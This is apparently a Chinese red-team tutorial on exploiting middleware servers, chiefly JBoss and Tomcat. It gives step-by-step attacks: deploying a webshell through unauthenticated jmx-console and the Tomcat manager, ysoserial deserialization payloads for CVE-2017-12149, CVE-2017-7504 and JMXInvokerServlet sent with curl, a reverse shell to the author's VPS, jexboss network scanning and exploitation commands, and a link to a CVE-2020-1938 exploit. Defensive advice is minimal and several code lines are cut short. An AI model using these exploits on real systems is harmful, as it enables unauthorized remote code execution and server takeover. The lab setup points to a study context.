本篇文章介绍一下中间件相关的利用面
常见的中间件有Jboss、Weblogic、Websphere、Tomcat、Apache、Nginx、IIS
Jboss
由于红蓝对抗中出现Jboss的概率较高,因此记录一下Jboss的利用面
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。
Jboss未授权访问部署war
默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
1 | /jmx-console |
环境搭建
这里使用docker镜像
1 | docker search testjboss |
未授权访问测试
http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
部署shell
点击jboss.deployment进入应用部署页面
使用apache搭建远程木马服务器
访问木马地址http://
成功上传木马
访问http://192.168.18.129:8080/shell/
防御手段
对jmx控制页面访问添加访问验证。
进行JMX Console 安全配置。
JBoss反序列化(CVE-2017-12149)
漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响版本:
1 | Jboss AS 5.x |
环境搭建:
这里使用vulhub的环境
1 | svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149 |
访问8080端口即可
漏洞复现
访问路由/invoker/readonly
,见到500状态码
使用ysoserial来生成序列化数据到poc.ser
1 | # 反弹shell命令base64编码 |
传递序列化数据进行攻击
1 | curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser |
此时查看vps,成功监听到反弹的shell
漏洞分析
该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的 doFilter
中。如下图所示:
方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。
JBossMQ反序列化(CVE-2017-7504)
漏洞描述:
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本:
Jboss 4.x
环境搭建
1 | svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504 |
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:
1 | java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser |
我们将1.ser文件内容作为POST Body发送:
1 | curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser |
执行docker-compose exec jboss bash
进入容器,可见/tmp/success
已成功创建。
JBoss JMXInvokerServlet 反序列化漏洞
漏洞描述:
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
环境搭建:
参考CVE-2017-7504
漏洞利用:
1 | java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser |
利用工具
jexboss
项目地址:https://github.com/joaomatosf/jexboss
项目介绍:
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.
简称:JBoss应用服务器攻击及其他Java平台攻击神器
Windows安装:
1 | PATH=$PATH:C:\Python27\ |
攻击组件:
扫描模式:
1 | python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt |
定点利用:
1 | python2 jexboss.py -u http://192.168.119.157:8080/ |
反弹shell成功
JbossScan
项目地址:
https://github.com/GGyao/jbossScan
项目介绍:
扫描jboss漏洞
将url放入target.txt中
1 | python .\jbossScan.py |
JBoss漏洞检测工具 by lab
Tomcat
Tomcat部署war
前提条件:能够进入Tomat管理后台
准备恶意webshell
1 | <%@ page language="java" contentType="text/html; charset=GBK" |
打包成war包
1 | jar -cvf [war包名称].war 打包目录 |
将test.war通过部署war包的形式上传
即可在网站对应目录下访问到webshell
Tomcat任意文件读取(cve-2020-1938)
前提条件:
- Apache Tomcat 9.0.0.M1 到 9.0.0.30
- Apache Tomcat 8.5.0 到 8.5.50
- Apache Tomcat 7.0.0 到 7.0.99
利用脚本:
https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py